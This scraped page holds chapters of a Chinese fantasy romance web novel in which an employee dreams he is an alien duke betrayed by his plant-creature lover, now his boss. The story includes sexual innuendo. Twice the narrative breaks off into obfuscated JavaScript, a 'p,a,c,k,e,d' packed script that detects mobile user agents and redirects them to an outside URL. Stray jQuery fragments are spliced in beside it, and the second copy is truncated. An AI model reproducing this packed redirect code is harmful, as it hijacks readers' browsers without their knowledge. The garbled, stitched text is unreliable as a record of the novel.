“是呀,薇薇有个朋友是做植物研究的,这是他们培育的一个新品种,据说可以安眠。你把种子倒进去沙里就行,不用浇水,它自己就会长。” “哦行。” “对了,上次你问的家教老师给你找好了,一放暑假就可以开始上课。这可是个全能老师,名校毕业,留学背景,好不容易给你找到的!” “行,谢了,有空请你吃饭。” “你工作怎么样?” “挺好,还可以。” “嘿嘿,老板是不是个大美女啊,身材火辣的那种?” “老板是个男的。” “没意思。行了不说了,等我忙完这几天就去看你。” 安眠的植物,还不用浇水,正适合他养。 花跳上来,嗅嗅花瓶里的沙砾,打了个喷嚏,“好吃。” 爱情烧烤每晚都是大排长龙,老板没有请工仔,所有活都是自己干,一般人早就累趴下了。 目测身高一米六 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调戏完老板,心情十分不错,逛到隔壁街的烧烤店,买了只羊腿,边走边吃。 宵夜摊人员杂乱,喝酒上头的大汉高声呼喝,人性缺失露出兽性,对着过路的异性发出嘘嘘嘬嘬的奇怪声音,摸着裤/裆走进两边房屋夹击的暗巷里解手。 一个小男孩从巷子里冲出来撞到他,拉着他的手求救,“哥哥救救我,那些人要打我!” 小男孩混身脏兮兮,像是在地上滚过很多次,手上、脸上都有击打伤和擦伤。 巷子里冲出来一帮人,和小男孩差不多的年纪,看到他后停了下来,指着小男孩,“你过来!” 周围有人围了上来。 小男孩紧紧住着他的手臂,瑟瑟发抖。 “你们要群殴得另挑时候了,这里这么多人看着呢。” 那帮小孩也还知道害怕,扔下两句威胁的话,跑开了。 “行了,他们走了。要不要送你去医院检查检查?” 小男孩低着头,摇头拒绝,“谢谢哥哥,我能忍得住。” “你几岁了?” “十六。” 年龄小,个头却不小,比他还高出一点,应该有一米八六,现在的小孩就是营养好。 “你家在哪?” 小男孩拧着衣角,“我是被赶出来的,后妈不喜欢我,我爸也不管我。”抹了把眼泪,强忍哭意。 也是怪可怜的,“我送你去警察局,让他们跟你爸谈,顺便让他们看看你的伤口。” 小男孩点点头,“谢谢哥哥。哥哥,我能知道你叫什么名字吗?” “许陆风,你呢?” “尹非凡。陆风哥哥,我要怎么感谢你呢?” “你这个小孩怪实诚的。你不用感谢我,回去好好上学好好读书,上了大学会赚钱了就不用看他们的脸色了。” “好的哥哥,我一定听你的!哥哥,我以后可以去找你玩吗,我没有什么朋友,他们都觉得我怪。” “你哪里怪了?” “我的成绩一直都全校第一,不沉迷打游戏、不逃课、不谈恋爱,我喜欢看书、做木工、做物理实验,所以他们都不喜欢我。 “凡尔赛啊。我弟要是有你一半,我睡觉都能笑醒。” “那陆风哥哥,我能做你的弟弟吗?” 他忍俊不禁,现在的小孩都这么耿直吗? “我是独生子,一直都很孤独。认我做弟弟很好的,我可以帮你做家务,我会做饭、洗衣服、打扫卫生、种菜,还有按摩!” “行行行,我不会认你做弟弟,但是我们可以交个朋友。” “好吧,哥哥你住哪儿呢?” “宁郎公路45号,我在那里工作,也住在那里。” “好,那我以后休息就去找你玩,哥哥你可要给我开门哦。” “没问题。”小男孩情绪就是来去自如,“刚刚那些人为什么打你?” “因为我看到他们在抽烟,我跟他们说抽烟会致癌,他们就生气了。” 这孩子,有点缺心眼啊。 7. 浅粉色皮肤 日行一善,把尹非凡送进警察局,交代几句后返回,路过花卉店,想到店铺布置太简陋,可以买几盆绿植装饰装饰,挑选时猛然惊醒,疯了吧,冤种才给公司花钱。最后只在隔壁超市买了根逗猫棒。 回到店铺,花等待已久,扑上他大腿,挂住。 “花~” 这一刻,他体会到什么是秤砣压千金…… 圆形乳白玻璃的窗台上,暗沉的沙砾渗出细碎针芒,他侧蜷着身体,困意袭来,那些细碎的针芒越拉越长,破开黑暗,扯出一张被踩在脚底的雾霾笼罩的城市,上空有六艘像橄榄一样的巨大飞行物。突然,飞行物像一颗颗通电的灯泡,乍放白光,所有人的眼前顿时变成白色,而后,他听到似从地狱传出的嚎叫。 肩膀突然搭上一只手,眼前白光渐弱,视线复原,肩膀上是一只浅粉色皮肤的手,手指比一般人的要长,食指带着一只镌刻奇特纹路的宽戒。 他没有转头去看这只手的主人,而是回看底下的城市。 哦,他正在说话,但用的是一种奇怪陌生的语言,听起来琐碎紧凑,连起来像在念经,所以没有立马意识到是自己在说话。 浅粉色手的主人笑了,令他惊讶的是,浅粉色手的主人虽然说的也是那种奇怪陌生的语言,但好像脑子里装载的翻译器恰巧这时重新启动,所以这人一开口,他就听懂了。 “我的小公爵,成年快乐。” “谢谢姐姐。” 而后,一个灰皮肤的仆人捧着一个大约长二十公分,宽五公分的灰霾金属圆柱过来。待灰皮肤仆人走近了,他发现这个人脸上只有两只眼睛。 “我的小公爵,看你的了。” 他抬起手放到金属圆柱上,他的手也是浅粉色的,食指上同样有一个宽戒,上面的纹路似乎在哪里见过。就在宽戒接触到金属圆柱的刹那,似是发生了什么感应,自掌心处下,金属圆柱逐融成一挂似嵌了银河色的铁水悬空沸腾,把手伸进沸腾的铁水中,瞬间,铁水凝冻掉落在地碎成一地沙砾。 他能感觉到周遭有许多双眼睛在期盼着,盯着他的一举一动。这时沙砾开始震颤,他伸出手,沙砾像感应到了召唤,聚粒成群钻进他的宽戒,到此,他听到了肯定的赞赏。 城市边际的黑暗线像把收割的镰刀,从边缘驱赶城市。 但再仔细看,那不是“镰刀”,是空间的边界线,它正收紧自己的领地。再看左边天空,也出现一道黑暗线,当两道黑暗线汇合,这座城市将彻底消失…… 一觉睡到天亮,已经很久没有做这种光怪陆离的梦,再看现实世界,一时难以回过神。 接下来的几天又是无所事事,要不是老板不是人,他真的会产生一点点愧疚。 “喂风子,中午出来吃饭。” “行啊,地址发给我。” “不用,我去接你,二十分钟!” 谭强每次都能带他见世面,比如这次,泡澡吃饭。 外边是三十摄氏度的高温,室内温度十摄氏度,人工造景,人工星空,两个人窝在一个温泉池,坦诚相对吃海鲜。 “你工作是做什么的?” “捉妖。” “哇塞,现在这行很赚钱的,特别是那些法力深厚的老爷老太,随随便便给人看个风水都要万把块呢!工资多少?” “上个月领了这个数。” 谭强惊呆,“我艹,你撞到个黑山老妖啊!真不错真不错!诶?你老板会驱邪吗?那串佛珠邪气太重,薇薇正到处找大师解决呢。” “不会,他只会吹牛。” “我会的。”塑料花丛隔屏探过来一个脑袋,长发用簪子盘起。 他盯着那张出现在背后的脸三秒,才确定此人是陈金池,摸起掉落池底的筷子,很是心虚。 “这位兄弟是?” “这是我老板,姓陈。” “哎呀,原来是陈大师呀,久仰久仰!大师快过来一起坐呀!” 陈金池没有客气,站起来跨过塑料花丛,挤了下来。 谭强生来的自来熟,“哇塞,这腹肌,这比例,这大长腿,好带劲的身板,兄弟打哪儿健的身呀?” “没有刻意练过。” “哇,天生丽质!俗话说得好,相由心生,陆风总跟我说你是个好老板,对待员工非常好!今日一见,果然不同凡响啊!” “真的?太谢谢了,能得到他的肯定,我做老板的也有成就感。” “看看人家的境界,多伟大,多宏伟!” 这个池子是两人空间设计,加了一个人后,他被挤向后面比较高的地方,盘着腿,尽量把自己缩小,但膝盖时不时抵触到陈金池的腰部。 都是那个该死的梦闹的,让他之后一看到这张脸就会局促不安。 一顿饭吃了将近一个钟,谭强把他从小到大的优秀事迹一一细数,为了活跃气氛,还加了两个他尿床的笑话。 不知是不是错觉,总感觉陈金池在偷偷往他这边挤,最后散场时,他已经坐上岸边。 换完衣服出来,陈金池碰到个熟人,过去打招呼前,叫他先不要走。 “我觉得你这个老板有问题。” 是有问题,问题多着呢。 “他绝对对你有意思。” “你疯了。” “没有哪个老板在应酬的时候能够容忍员工坐在一边低头数脚趾的,更没有哪个老板对一个员工的过去那么感兴趣。你呀,要是没有做好献身的准备,最好跟他保持距离。我回去也让薇薇帮忙查一查这个人。”谭强拿起陈金池给的名片,上面只有一个名字和电话号码,“绝对有料。” 他瞥了一眼,上面烫金三个大字,鸣天晓。 陈金池打完招呼回来,“我送你回去,顺便跟你聊点工作的事情。” 他预想过陈金池可能要送他回去,所以想好了拒绝理由,但唯独没想到怎么拒绝工作。 告别谭强,坐上陈金池的车,有限的空间里两个人沉默着。 “你,有驾照吗?” “放心,我是合规驾驶的。” “哦。是什么工作问题?” “嗯,等会下车再跟你说。” 所以其实也不是什么要紧的工作艹!车子急刹车,如果他没眼花的话,引擎盖上突然出现一头浑身漆黑的怪物,没头没脸只有四只强壮的爪子。 身后的车鸣此起彼伏,等了几秒,怪物没有攻击,像是路过,跳下车消失了。 他刚要问陈金池那是什么东西,却发现陈金池不见了,再眨眼,周遭一片黑暗。 短暂的失去意识,再次清醒,在一个昏暗的房间里,后背钝痛,像是被活生生撕掉了一层皮肉,他想伸手去摸,发现身体不听指令。 这个时候进来两个人,拉开厚重的窗帘,光亮透进,他转头了,看向窗外,圆弧无缝的整块落地巨大玻璃窗,天幕是蓝紫色的,月球悬挂,近得可以看见上面的沟壑。 他看清了,那两个人是蓝皮肤仆人,跟上次在梦里见到灰皮肤仆人一样,脸上只有一双眼睛。 “出去。”他的身体说话了。 两个蓝皮肤仆人不敢逗留,很快退了出去。 他的身体下床,走到玻璃前,伸出手。浅粉色的皮肤,食指上带着宽戒。 手指点了一下玻璃,原本透明的玻璃逐渐银灰,最后变成一块落地镜,照出了他的全貌。 浅粉色的皮肤,赤裸着上半身,银色头发拖到地面,面貌有细微的变化,内眼角尾有两粒隆起的小肉瘤,是鲜红的,眼珠是冷漠的玛瑙灰。转过身,撩开长发露出背部,蝴蝶骨中间有一道竖口,吐挂着两片浅粉色的囊,好似风中残叶,颓败轻晃。就是这个地方一直在痛。 他看了自己一会儿,抬手,下半身面似金属光泽的遮挡物变化成液体往上爬,遮过胸前和手臂,一瞬间的工夫给自己穿上了衣服。然后,有人敲门。 “进来。” 随即进来一个三米高的人,像是用石头堆叠起来的大块头,连接处留着明显缝隙,身穿一件背心,赤着脚。 “公爵大人,人已经找到了。” “在哪找到的?” “是他自己回来的,他想见你。” 他又感觉到一阵钝痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810610|158596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这回不是背,而是心脏。 大块头走在前面,公爵后面跟着两个蓝皮人仆人,走在一条水光晃动的廊道上,前面大门拉开,发出沉重的磨响。 公爵让人留在外面,自己进去。 进去后,这是个四面空旷的地方,流动的水光在这里停滞了,切出段段光片。 背后涌来一阵风,公爵转身,抬头,“你还要杀了我吗。” 面前的人应该有两米五,水光映出赤裸的上身,从肌肉的纹理和质感推测这个大块头接近人,比较清秀,一头黑色长发披散下来,脸隐在暗色里。 大块头没有说话,跪了下来,低着头,“孩子呢?” “死了,正和你意。” “不!”大块头匍在地上,紧紧抱住公爵的腰,“不是这样的,不是这样的!” 公爵抬腿踢向大块头,一个两米五的大物件被踢飞了出去,撞到十米开外金属质的墙壁上,撞出一声巨响。 “不是这样的,我从来没想过伤害你们,是我错了……”大块头趴在地上,失魂落魄。 到底是谁的孩子没了,大块头向公爵忏悔,按理说应该是公爵的孩子。 他能感觉到公爵复杂的情绪,公爵对大块头没有敌意,有一些失望,还有苦闷,以及心痛。 似是回答他的疑惑,眼前又一暗,又是短暂的意识缺失,再次有感,先听到的是摧毁的声音,睁眼,大厦倾塌,战船陨落,家园尽毁。 他站在一片废墟之上,天空烟屑飘落,他没有愤怒,只有对不自量力之徒的轻蔑。 意念催动,狂风骤起,皮肤下渗出细碎的沙砾,随着狂风卷向空中,撕开飓风通道,空中,敌人的战船毫无招架之力被吸了进去。 地平线那头的凶徒们发现了他,挥动武器叫喊朝他奔来。 撕开通道令他消耗极大,感觉十分疲惫,安慰似的摸了摸后背拳头大小鼓鼓的囊,应该还能坚持。 面前忽然晃过一道白光,他闭了眼,再睁眼,听见身后有声音,尖利刺破了后背的囊,痛得他痉挛。 回头,见一根生了刺的肉粽藤上沾了一层粘液,再看那藤的来处,那是个高大的雄性,身着战甲,手臂化藤,怔怔地站在哪儿。 这个人知道他的弱点,他无法接受这种背叛,愤恨交加,背后的伤口让他的力量开始消散…… 迷迷糊糊里,那张脸靠了近来,他恨从中来,翻身掐住了那个人的脖子,“我信任了你,你却背叛了我,我的孩子,我宁愿他死在仇人的手里!” 巨大的情绪波动,令他又昏了过去。 再醒来,他已经回到店铺躺在沙发上,侧头,见陈金池坐在地上,抱着双腿,埋着头。 他翻身的动静惊动了陈金池,见陈金池神色慌张扑上来后紧紧抱着他。 梦里的情感过于真实强烈,以至于无法立即抽离,囊袋被刺破的那一瞬间,没顶的绝望令他遍体寒透。想起那瞬间,心脏又是一纠,眼泪死气沉沉流出。 他没有推开陈金池,梦里最后他掐住的就是陈金池的脖子。他感觉陈金池的身体在颤抖,像是害怕极了。 “是真的吗?” 陈金池抬起头,他看到了他脖子上的掐痕。 这时,一个人从厨房出来,是隔壁烧烤店的老板。 “哎呦你终于醒了,你老板急都撞墙了!” 第三个人的声音出现,让压抑的心绪驱松一些,“我,怎么了?” “你半路晕倒啦,送去医院检查说你营养不良,大小伙子欸,之前过的都是什么苦日子哦!” 陈金池坐着,低着头,就像梦里那个跪在公爵面前,垂着头忏悔的大块头一样。 “你之前说过这不是你的全貌,你的全貌是怎样的?” 陈金池没有回答,默默去了厨房。花走过来,窝在他怀里。 “小伙子,你老板特地请我来给你做饭,我告诉你,我除了会烧烤,还回做食疗菜品呢,你可有口福啦!” 他没有胃口,看向厨房,陈金池几次鬼鬼祟祟探出头对上他的视线,这令他恼火至极,想过去抽他两嘴巴。 8. 口哨 接下来的两天,陈金池都在跟着烧烤店老板学食疗菜品,偶尔与他撞上一眼,又躲闪开,生怕别人不知道他做了坏事。 两天了,梦里的情绪还在,看到陈金池依旧莫名想给两嘴巴。 他可以确定,暗室里的男人跟偷袭公爵的男人是同一个,但有一点疑惑的是,如果暗室见面是杀死公爵孩子之后,那么公爵为什么对那个男人没有任何杀心? 梦里,他能感觉到公爵是个拥有至高无上权力的傲然者。或许梦见公爵看着城市被摧毁的那次不是无法感觉到公爵的情绪,而是公爵内心毫无波澜,就像一直以来应当如此。浅粉色皮肤的人拥有杀生权。 战场上,公爵面对侵犯自己家园的低阶生命并无愤怒,只有绝对力量拥有者的轻视。之所以看到男人那张脸后如此情绪失控,一部分是因为囊袋里的孩子生死未卜,一部分是男人的背叛。 公爵对男人有爱意和信任,但那种爱意和信任是建立在力量与阶级的绝对压制之下产生的,这是一段凌驾姿态的情感。 这就是为什么,他不明白后面暗室见面,公爵的愤怒消失的缘故。难道这个公爵是个恋爱脑? 手上无事,挨个拉开柜台抽屉,看到那只钢笔时忽然想到公爵的宽戒,拿起来仔细看笔尖上的纹路,再回忆那宽戒上的纹路,似乎是一样的。 又想到那张可以窥探过去的代簿,第一次,他是在肖灿签名之后看到了她的过往,第二次赵女士没有签名,但他还是看到了一段回忆。哦,视角不同,第二段回忆是花的。 假设触碰代簿是窥探过往的触发机制……不对,肖灿和黑猫触碰之前代簿就有提示了。陈金池说这是他的力量,只有代簿主人能看到上面的东西……意念触发也说不通,第一次他根本不知道代簿有这种作用。 既然他是代簿的主人,那他想看谁都是可以的吧。 在一张代簿上写下肖灿的名字,捏着等了几秒,没有反应,忽然,凭空落下来一张代簿,拿起看,上面显现肖灿当时的签名。怎么才能再看一次肖灿的过往?该念一动,视线一晃,他看到了肖灿爸爸坐在客厅沙发上看报纸,心念又一动,视线又是一晃,回到现实。 既如此,重新拿了一张代簿,写下陈金池,没有动静。又写下鸣天晓,依旧没有动静。 犹豫了一下,写下许陆风,这回有了反应,他看到自己停在楼梯上,陈金池从厨房出来,端着一碗刚煮好的抄手。看到这一幕的他毛骨悚然。后面的一段画面,几乎都是陈金池那张脸,以及那些缠在他手臂大腿的藤蔓……最后,陈金池抱他上楼,还给他擦了身体。 回到现实,不能回神,为什么他的过往只能看到一段梦。还是说,那不是梦。 “哎呀,陈老板心灵手巧,学什么都一点就通啊!”烧烤店老板端着一锅汤出来,闻一闻如痴如醉,“此味只应天上有啊!小伙子,你可太有口福咯,有这么好的老板,那是人家烧高香都求不来的呀!来来来,过来先尝尝你老板给你做的药膳汤。” 见陈金池从厨房出来,他冲过去,终于把那一直想抽的两嘴巴抽了。 烧烤店老板吓得抓起围裙往嘴里塞,默默开溜,“二位还有家务事要处理,我就先走了!” 陈金池放下菜,又站了回来,低着头,一副任打任骂的模样。 他气得呼吸困难,陈金池就是低着头也比他高出一个脑袋,他还得把头仰着,令他非常不爽。 像是知道他的心声,陈金池双膝跪了下来,搂住他的腰,卑微祈求,“你打我杀我都可以,但请不要赶我走。” 他肯定陈金池这话是对公爵说的,他可没有能力杀他。在此的前面,他对自己是否是公爵还有疑惑,而当陈金池下跪,他肯定自己就是那个公爵。 “我杀了你,照样可以把你扔出去。” “不!你不能抛弃我,你说过让我跟着你,你会护着我的。” “放开。” 陈金池失落松开手臂。 上去二楼冷静,他坐在床边,抱着脑袋,他刚刚想的跟说的完全不一样,那些话是他一个打工仔能说出来的吗?可是看到陈金池那个样子他真的控制不住,甚至想把陈金池踩在脚下羞辱。 拉开圆窗透气,端起花瓶查看里面的种子,发现沙面隆起三个紫黑色石尖。 “陆风哥哥!” 拿开花瓶,见尹非凡在下面给他打招呼。 “陆风哥哥我可以进来吗?” “等等,我下去给你开门。” 一楼,陈金池果然还在那里跪着,家丑不可外扬,但也不想触碰这人,于是命令陈金池自己去沙发上坐好。 开门,尹非凡迫不及待进来,看到陈金池问,“陆风哥哥,你有客人在呀。” “他不是客人,他是……”对上陈金池热切期待的目光,他有些心软了,“他是过来做饭的。” “哦哦,原来是保姆叔叔呀,保姆叔叔你好。” 陈金池没有给尹非凡好脸色。 “既然来了一起吃饭吧。” “谢谢陆风哥哥!”尹非凡从书包拿出一个包装精美的盒子,“这是我自己做的一个小摆件,哥哥你不要嫌弃。” “哇,这么厉害,那我就收下了。” 陈金池的黑脸过于明显,所以给他碗筷时特意手重敲出声音提醒,没想到陈金池看到碗筷后眼睛突然亮了,像得到一块惊喜骨头的小狗。 奴性这个词在这一刻具象化。 “你是刚放学吗?” “是呀,刚下补习班。今天少上一节课,所以过来看一下你。”尹非凡看到沙发上的逗猫棒,“哥哥你家养猫啦。” 此时花正在柜台上抓空气,听到有人提它叫了一声,但是尹非凡听不到。 “对。” “能看看吗?是什么品种的?” “我也不知道是什么品种的,朋友送的,这会儿还在外面玩呢。” 二人又聊了两句,尹非凡看向陈金池,观察了一会儿问,“保姆叔叔你怎么只吃菜不吃肉啊,你是素食主义者吗?” 陈金池瞥了尹非凡一眼,冷漠。 吃完饭离开,尹非凡再三嘱咐这是个床头柜摆件,一定要放在床头。 送走尹非凡,陈金池已经在收拾碗筷。 他拆开礼物盒,是个用石头工艺品,造型十分简单,像个大字举起了手。正要放下,被陈金池抢一把抢走。 陈金池看着石头的表情十分怪异。 “这是你们家族的东西。” “一块石头,有什么特别的?” “我不知道,我在你的房间里看见过它。如果你的力量恢复,一定能知道这是什么。” 又是力量问题,“我的力量究竟是被谁夺走的?” “你身边的一个仆人。那天你打开异世通道,随你一起进去的有鲁米,还有你的两个仆人。” 是那两个蓝色皮肤的仆人? “后来洛公爵找到我,说其中一个仆人被送了回来,从它的记忆中得知你遭到另外一个仆人的偷袭,不知掉落了哪个世界,鲁米也不知所踪。” “那你是怎么找到我的?” “因为有契在,我可以感应到你在这个世界和大致的时间段。洛公爵将仆人的记忆给了我,我看到你们掉进了同一条通道。仆人没有打开异世空间的能力,没有你,它只能留在这儿。” “它不能用我的力量离开吗?” “不能,它不会用。如果它没有外力相助,也没有办法夺走你的力量。” “你的意思是,有人要陷害我?” “不排除这种可能,就像那次……”陈金池又低下头,“我伤害你们的那次。我确实参与了讨伐你们家族的战斗,但我只想要主的命,绝对没有起过要伤害你和孩子的念头。当时我正在主的大殿上厮杀,被人偷袭,转身回击,却是你。但那个时候你不应该出现在那里的,我已经把你安置在了一个安全的地方等孩子出生。” “安置?应该是把我骗开的吧。” 陈金池没想到会被一个失忆的人瞬间捉住过去的尾巴,头埋得更低。 果然,会下跪的 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“那是只学坏的鲁米,我说过它们很蠢,想要学坏很容易。你跟我过来。”陈金池拉着他来到厕所尽头的那面墙,“这里,每片叶子后都关着一只学坏的鲁米。叶子掉落,意味着里面的鲁米跑了出来。” “那那天……” “不错,跑掉的是个经常出没色情场所的鲁米,它在你身上寄生过一段时间,所以那天你才会被我……” 又是一巴掌。 “那只鲁米后来走了,所以你会梦见从前跟它没关系。” “你怎么知道我梦见从前,我没有跟你说过?” “那因为我们有契,只要你脑子里浮现有关我的事情,我都会知道。” “那我能知道你在想什么吗?” “不能。” “为什么?” 陈金池又开始躲闪目光了,“因为那个契是我偷偷给你下的,它跟你同鸣天晓的契不一样。这是我的能力,在我们第一次见面的时候,我把我的种子放进了你的身体,这样一来,你走到哪儿我都能感应到。我也没有想到,它能让我感觉到你在想我。随着时间流逝,契的感应越来越弱,需要靠得很近才能感应到。” 他想再给陈金池一巴掌,但又怕把这人打爽了。想起那一脚十米的踹,他现在的力量打在陈金池身上,应该跟挠痒痒差不多。 “那个偷走我力量的人有下落吗?” “我们最后一次遇到它是二十三年前,它逃跑的时候掉下来一个东西,当时它还想头来取,应该挺重要的。” 陈金池拿出一只旧式口哨,看上去十分普通,从哨口看里侧,里面有痕迹。到柜台拿手机打开手电筒,里面的纹路那宽戒上相似。 “吹过吗?” “是个哑哨。” 他不信邪,吹了一口,哨声十分微小,像是来自遥远的鲸鸣,空灵虚远。时间凝滞了一秒,感觉眼前被什么东西遮挡住,紧接着像茧一样被裹了起来。 陈金池手臂化藤卷过许陆风护在身前。 店铺门被砸了个大窟窿,街道上的人乱成一团,不等外边的人往里探,窟窿被桌子沙发瞬间堵住。 闯进来的是个衣衫褴褛的男人,歪斜站着,眼光混沌,嘴巴张着,口津流出,伸手向陈金池索要东西。 陈金池仔细认了才看出是谁,“找了你二十三年。” 许陆风被放开,看见男人吓一跳,并不是被男人的模样吓到,而是男人看到他也惊慌了一下。 男人抬起手指着他手里的哨子,五官抽搐着想表达什么。 “他就是那个夺走你力量的仆人。” 不知何时,男人脚底长出数道藤,眨眼便被缠成一个茧。 陈金池近观男人,眼珠边缘融化散开,脑子估计也不好使了。接着,陈金池用了那种特殊跟男人说话。 现实里,许陆风失去了梦里的脑子翻译,根本听不懂。 “他说你的力量不在他这儿,交给主人了。主人是谁,他不肯说。” 9. 成人礼 警察很快到达。 许陆风被发现在柜台后瘫坐着,一问三不知……从警察局出来,已经天黑。 陈金池在外面等他。 “刚好店铺要修缮,我给你换个地方住。” 他没意见。 车子往市区方向驶,过了一座桥,这段路车辆不多,两边都是别墅区,转弯进了一条小路,直接进地下车库。 车子停进了自家楼底的车库,上了一层,古色古香的装潢,整体色调陈旧,堆积如山各种各样的收藏,只留了一条小道方便通往二楼,不像住家,像个收藏仓库。随便一件,价值不菲。 “你还做古董生意?” “没有,这些都是我自己的,大部分是存下来的。如果按照这个世界的时间算,我在这个世界已经待了一千年。” “你不是说你七百一十四岁吗?” “按照我们那个世界的时间计算确实是,这个世界的时间流速快很多。” “一千年,你应该可以交到很多朋友。” “确实有那么几个,但是后来他们都死了。” 上二楼,陈金池打开一个房间,他看到自己的行李摆在床边,床对面是个书房,也堆了不少物件。 “其他房间都堆满了,只能睡这里。”陈金池抿了抿唇,有些窃喜,有些羞涩。 看陈金池的表情,他就知道这人藏着什么心思,“你也只能睡这里是吗?” 陈金池欢快点了两下头。 “……那个仆人呢?” 陈金池神秘一笑,拉开浴室门,仆人蜷缩在淋浴间,木讷僵躺。 “他傻了?” 陈金池扒开仆人的后脖领,见其皮肤表层堆叠一层似树皮的东西,“是衰老。” “洛公爵是怎样查看记忆的?” “这是你们家族的秘密,你从来没有告诉过我。” “你知道代簿是怎样查看过去的吗?” “不知道,你也没有跟我说过。” 许陆风忽然想起窗台上的花瓶,陈金池打开行李旁边的木箱,花瓶在里面,发现种子尖又高了许多。 陈金池把仆人埋进花园的土壤中,又上来清扫了浴室。 从衣帽间拿出两套一模一样的浴袍,“稹公爵,沐浴时间到。” 许陆风想起陈金池叫过这个名字,“我叫稹?” “是的,稹公爵大人。”陈金池叫这个名字的时候,仿佛这个名字是他的情欲催眠口令,呼吸逐渐加重。 “那你叫什么?” 陈金池贴上他耳边,语气暧昧,“我的名字是你取的,叫壬纳,用人类的话翻译是——我的□□隶。” 许陆风震撼了,梦里公爵的气质那么一本震惊,甚至赋有神性,没想到私底下那么彪悍。 推开陈金池的脸,抢先一步进了浴室反锁上门。 陈金池趴在门板上,十分享受许陆风的欲拒还迎,“公爵大人还是一如既往的有趣,你以为这样就能逃得掉吗?” 许陆风在里面听得不是很清楚,刚脱了衣服,见窗户被人拉开,陈金池跳进来,眼光如质,压迫十足。 奇怪,他没有生气,反而产生了逗趣的念头,坐在浴缸边上,朝陈金池勾勾指头。 陈金池走到他面前,慢慢蹲下…… 晚上,他又做梦了。 宫殿,像个巨大的铜锈镂空球。外面的天幕依旧是蓝紫色的,千阶之上的王座的主,手持权杖,当权杖举起,他脚底一空,掉进一个黑暗的空间。 他漂浮在不知名的空间里,忽然,黑暗里有光亮起,像灵活的游鱼窜来窜去,可那都不是他想要的。 他朝着光点的方向飞去,就在这个时候,黑暗里破出一道光线,似是一只即将睁开的眼,而后,那道光线翻了个身掀起一片巨光,像翻腾的海浪,起起伏伏,而海浪中有一条乘浪跳跃的大鱼,稹公爵想要的是那个。 他感觉自己瞬间积聚了能量,朝大鱼冲去,海浪感应到入侵者,调转势头朝他拍来,拍到身上是一团柔软的光,但待光离开脚尖,刮皮的疼感霎时侵上脑,眼球仿佛被卡车碾过,虽只是瞬间,足以让人心痛不欲生,心生恐惧。 但是稹公爵拥有遇强则强的坚韧信念,他没有瞬间停留。在光浪拍中他时,大鱼停了下来回头观战,也就是这短短几秒距离的拉近,他抓住了大鱼的背鳍。 触碰到大鱼的瞬间,大鱼化作一道力量钻入他的身体,下一刻,人回到宫殿,这一次的能力是撕裂空间。 王座上的主仿佛在古老银河里伫立许久,除了秩序,不会对任何细末事件所触动。看到他重新出现在宫殿,只是轻轻点了头,但是这一反应,触动了宫殿里的其他浅粉色皮肤的族人。 “稹,你太棒了。” 迎面走来一个浅粉色皮肤的女人,模样与他有三分相似,他记得她的声音,是他的……羿王姐姐,这是族中仅次于主地位的人。 “预料之中。”他是这样回答的,无甚大的语气波动,内心澎湃的自傲只有自己知道。 没过一会儿,又一个人回到宫殿,王座上的主没有点头。 看到跪在地上男人,立马对上名字,洛公爵。他可以感觉到洛公爵的痛苦和失落,因为他获取力量失败了。 特共族人的孩子,有两次到主的殿里获取力量的机会,一次是成年的前一年,第二次是成年的前一天。 主的殿里藏着每一个逝去特共族人的力量,它们永不消散,等着可以继承他力量的后辈族人出现。 这是他是第二次来,明天就是他的成人礼。 稹公爵并没有太多关注洛公爵的难过,而是跟着翌王姐姐去准备明天的成人礼。 只有第一次就获取到力量的族人才有资格获得成人礼的庆贺,他需要在成人礼上展示自己的力量,其中一个环节,他要对抗三头怪物。 这三头怪物来自低阶的少数变异品种,能力阴险狡猾,且拥有再生能力,极难杀死,骨子里还没有被驯服的基因。 他要做的,要么驯服这三头怪物,要么杀死这三头怪物。他更倾向前者。他是有傲心的,所以他要选三头最难对付的。 翌王姐姐带他来到囚禁之地。囚禁之地是创造空间能力者造出来的一个空间,只有空间能力拥有者才能进来。 似乎是了解他的心思,翌王姐姐带他走到最深处的囚牢,越往里关着的罪犯越强大。 “我先替你选了三个,你看了不满意的话,我们再选。” 厚重的金属门缓缓升起,翌王姐姐抬手,黑暗里飘荡起若隐若现的光纹,光纹聚成一道锋利的竖线,缓缓往两边展开,无形屏障后的牢笼里,地上一滩粘稠的液体,咕噜冒泡。 翌王姐姐摘下镯子扔了进去,在镯子进入屏障的瞬间消失,细看,空中有闪烁的金粉。 “这是个随意形态生命体,破坏者,行动缓慢,发出的频能瞬间把一定范围内的东西振成齑粉,目前没找到可以伤到它的能力。” 听来像只打不死的小强。 翌王姐姐抬手,打开第二个牢笼,只见屏障上爬满了毛絮。 “这个也是个随意形态生命体,破坏者,低智,无限繁衍,它的每根毛絮都有一段记忆储存中枢,能发出扰乱其他中枢的波,其二是,它的毛絮进入其他生命体内后会无限膨胀。” 再打开第三个牢笼,肉触裹成的一大团东西,他当即认出,这是陈金池。 “这是个植物生命体,高智,无限繁衍,破坏者,触觉神经发达,攻击性很强,原本还有个同类跟他关在一起,被他吃了。” 到这,稹公爵才心有所动,比起没有思考能力的破坏者,有思考能力的破坏者才更具有挑战性。 就在这时,肉触动了,向两边撤开,露出一个赤裸的男人,长发垂地。 男人站起来走向屏障,屏障是单面的,从里面看不到外面,可男人确丝毫不差停在了他面前,脑袋抵在屏障上,野性的眼里充满挑衅,忽然劣质一笑,伸出长舌,舌尖抵在屏障上用力戳弄,像一头被欲望支配的兽,确实亟待驯化。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 